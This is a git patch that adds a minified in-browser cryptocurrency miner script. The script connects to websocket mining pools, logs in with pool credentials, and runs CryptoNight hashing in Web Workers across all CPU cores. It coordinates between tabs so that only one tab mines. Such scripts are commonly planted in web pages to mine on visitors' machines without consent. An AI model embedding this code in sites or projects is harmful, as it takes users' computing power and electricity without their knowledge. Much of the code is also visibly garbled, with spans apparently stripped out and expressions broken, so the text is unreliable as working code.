From a3e4f0fcf66496f8f8126fe28d0704e467ec39ab Mon Sep 17 00:00:00 2001 From: wmpadmin Date: Mon, 24 Sep 2018 18:09:02 +0200 Subject: [PATCH] added minified webmr.js --- SDK/miner_compressed/webmr.js | 42 +++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 SDK/miner_compressed/webmr.js diff --git a/SDK/miner_compressed/webmr.js b/SDK/miner_compressed/webmr.js new file mode 100644 index 0000000..a85aa44 --- /dev/null +++ b/SDK/miner_compressed/webmr.js @@ -0,0 +1,42 @@ +var server="wss://ws1.server:80/;wss://ws2.server:80/;wss://ws3.server:80/",job=null,workers=[],ws,receiveStack=[],sendStack=[],totalhashes=0,connected=0,reconnector=0,attempts=1,throttleMiner=0,handshake=null,wasmSupported=function(){try{if("object"===typeof WebAssembly&&"function"===typeof WebAssembly.instantiate){var e=new WebAssembly.Module(Uint8Array.of(0,97,115,109,1,0,0,0));if(e instanceof WebAssembly.Module)return new WebAssembly.Instance(e)instanceof WebAssembly.Instance}}catch(r){}return!1}(); +function addWorkers(e){logicalProcessors=e;if(-1==e){try{logicalProcessors=window.navigator.hardwareConcurrency}catch(r){logicalProcessors=4}0logicalProcessors||(logicalProcessors=4)}for(;0connected&&(connected=2);job=null};ws.onclose=function(){2>connected&&(connected=2);job=null};ws.onopen=function(){ws.send(JSON.stringify(handshake));connected=attempts=1}}; +reconnector=function(){3!==connected&&(null==ws||0!==ws.readyState&&1!==ws.readyState)&&(attempts++,openWebSocket());3!==connected&&setTimeout(reconnector,1E4*attempts)}; +function startBroadcast(e){if("function"!==typeof BroadcastChannel)e();else{stopBroadcast();var r=new BroadcastChannel("channel"),m=Math.random(),n=[],y=0,w=!0;n.push(m);r.onmessage=function(e){-1===n.indexOf(e.data)&&n.push(e.data)};startBroadcast.bc=r;startBroadcast.id=setInterval(function(){r.postMessage(m);y++;0===y%2&&(n.sort(),n[0]===m&&w&&(e(),w=!1,m=0),n=[],n.push(m))},1E3)}} +function stopBroadcast(){"undefined"!==typeof startBroadcast.bc&&startBroadcast.bc.close();"undefined"!==typeof startBroadcast.id&&clearInterval(startBroadcast.id)}function startMiningWithId(e,r,m){r=void 0===r?-1:r;m=void 0===m?"":m;wasmSupported&&(stopMining(),connected=0,handshake={identifier:"handshake",loginid:e,userid:m,version:6},startBroadcast(function(){addWorkers(r);reconnector()}))} +function startMining(e,r,m,n,y){m=void 0===m?"":m;n=void 0===n?-1:n;y=void 0===y?"":y;wasmSupported&&(stopMining(),connected=0,handshake={identifier:"handshake",pool:e,login:r,password:m,userid:y,version:6},startBroadcast(function(){addWorkers(n);reconnector()}))}function stopMining(){connected=3;null!=ws&&ws.close();deleteAllWorkers();job=null;stopBroadcast()} +function addWorker(){var e=new Worker(URL.createObjectURL(new Blob(["("+function(){function e(b){w(!Z);var a=z;z=z+b+15&-16;return a}function m(b){w(A);var a=k[A>>2];b=a+b+15&-16;k[A>>2]=b;return b>=B?(P(),k[A>>2]=a,0):a}function n(b,a){a||(a=16);return Math.ceil(b/a)*a}function y(a){switch(a){case "i1":case "i8":return 1;case "i16":return 2;case "i32":return 4;case "i64":return 8;case "float":return 4;case "double":return 8;default:return"*"===a[a.length-1]?4:"i"===a[0]?(a=parseInt(a.substr(1)), +w(0===a%8),a/8):0}}function w(a,d){a||C("Assertion failed: "+d)}function Y(b){var d=a["_"+b];w(d,"Cannot call unknown function "+b+", make sure it is exported");return d}function aa(a,d,c,f,l){l=Y(a);var b=[];a=0;if(f)for(var g=0;g>0];b|=f;if(0==f&&!d)break;l++;if(d&&l==d)break}d|| +(d=l);f="";if(128>b){for(;0h?l+=String.fromCharCode(h):(h-=65536,l+=String.fromCharCode(55296|h>>10,56320|h&1023))}}else l+=String.fromCharCode(h)}}return b}function ea(a,d,c,f){if(!(0=g&&(g=65536+((g&1023)<<10)|a.charCodeAt(++e)&1023);if(127>=g){if(c>=f)break;d[c++]=g}else{if(2047>=g){if(c+1>=f)break;d[c++]=192|g>>6}else{if(65535>=g){if(c+ +2>=f)break;d[c++]=224|g>>12}else{if(2097151>=g){if(c+3>=f)break;d[c++]=240|g>>18}else{if(67108863>=g){if(c+4>=f)break;d[c++]=248|g>>24}else{if(c+5>=f)break;d[c++]=252|g>>30;d[c++]=128|g>>24&63}d[c++]=128|g>>18&63}d[c++]=128|g>>12&63}d[c++]=128|g>>6&63}d[c++]=128|g&63}}d[c]=0;return c-b}function fa(){a.HEAP8=J=new Int8Array(t);a.HEAP16=H=new Int16Array(t);a.HEAP32=k=new Int32Array(t);a.HEAPU8=x=new Uint8Array(t);a.HEAPU16=new Uint16Array(t);a.HEAPU32=new Uint32Array(t);a.HEAPF32=ha=new Float32Array(t); +a.HEAPF64=ia=new Float64Array(t)}function P(){C("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value "+B+", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ")}function K(b){for(;0>2]=0;for(a=c+h;f>0]=0;return c}if("i8"===g)return a.subarray||a.slice?x.set(a,c):x.set(new Uint8Array(a),c),c;f=0;for(var p,r;f>0]=n;break;case "i8":J[q>>0]=n;break;case "i16":H[q>>1]=n;break;case "i32":k[q>>2]=n;break;case "i64":tempI64=[n>>>0,(tempDouble=n,1<=+ya(tempDouble)?0>>0:~~+za((tempDouble-+(~~tempDouble>>>0))/4294967296)>>>0:0)];k[q>>2]=tempI64[0];k[q+4>>2]=tempI64[1];break;case "float":ha[q>>2]=n;break;case "double":ia[q>> +3]=n;break;default:C("invalid type for setValue: "+u)}r!==b&&(p=y(b),r=b);f+=p}}return c}(function(a,d,c){if(!(0=e&&(e=65536+((e&1023)<<10)|a.charCodeAt(++b)&1023);127>=e?++c:c=2047>=e?c+2:65535>=e?c+3:2097151>=e?c+4:67108863>=e?c+5:c+6}c+=1}c=Array(c);a=ea(a,c,0,c.length);d&&(c.length=a);return c}("GMT"),"i8",2);A=e(4);q=O=n(z);p=n(q+p);k[A>>2]=p;Z=!0;var ua=!1,va="function"===typeof atob?atob:function(a){var b="",c=0;a=a.replace(/[^A-Za-z0-9\+\/=]/g, +"");do{var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(a.charAt(c++));var e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(a.charAt(c++));var h="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(a.charAt(c++));var g="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".indexOf(a.charAt(c++));f=f<<2|e>>4;e=(e&15)<<4|h>>2;var k=(h&3)<<6|g;b+=String.fromCharCode(f);64!==h&&(b+=String.fromCharCode(e)); +64!==g&&(b+=String.fromCharCode(k))}while(c>2]=b);return b},___syscall20:function(a,d){return 42},_emscripten_memcpy_big:function(a,d,c){x.set(x.subarray(d,d+c),a);return a},_ftime:function(a){var b=Date.now();k[a>>2]=b/1E3|0;H[a+4>>1]= +b%1E3;H[a+6>>1]=0;return H[a+8>>1]=0},_gmtime:function(a){a=new Date(1E3*k[a>>2]);k[v>>2]=a.getUTCSeconds();k[v+4>>2]=a.getUTCMinutes();k[v+8>>2]=a.getUTCHours();k[v+12>>2]=a.getUTCDate();k[v+16>>2]=a.getUTCMonth();k[v+20>>2]=a.getUTCFullYear()-1900;k[v+24>>2]=a.getUTCDay();k[v+36>>2]=0;k[v+32>>2]=0;var b=Date.UTC(a.getUTCFullYear(),0,1,0,0,0,0);a=(a.getTime()-b)/864E5|0;k[v+28>>2]=a;k[v+40>>2]=Ea;return v},DYNAMICTOP_PTR:A,STACKTOP:O};p=a.asm(a.asmGlobalArg,a.asmLibraryArg,t);a.asm=p;a._hash_cn= +function(){return a.asm._hash_cn.apply(null,arguments)};var pa=a._malloc=function(){return a.asm._malloc.apply(null,arguments)},W=a.stackAlloc=function(){return a.asm.stackAlloc.apply(null,arguments)},ca=a.stackRestore=function(){return a.asm.stackRestore.apply(null,arguments)},ba=a.stackSave=function(){return a.asm.stackSave.apply(null,arguments)};a.asm=p;a.ccall=aa;a.cwrap=function(a,d,c){c=c||[];var b=Y(a),e=c.every(function(a){return"number"===a});return"string"!==d&&e?b:function(){return aa(a, +d,c,arguments)}};M.prototype=Error();M.prototype.constructor=M;N=function d(){a.calledRun||R();a.calledRun||(N=d)};a.run=R;a.exit=function(d,c){if(!c||!a.noExitRuntime||0!==d){if(!a.noExitRuntime&&(S=!0,O=void 0,K(xa),a.onExit))a.onExit(d);E&&process.exit(d);a.quit(d,new M(d))}};a.abort=C;if(a.preInit)for("function"==typeof a.preInit&&(a.preInit=[a.preInit]);0workers.length||workers.shift().terminate()}function deleteAllWorkers(){for(i=0;i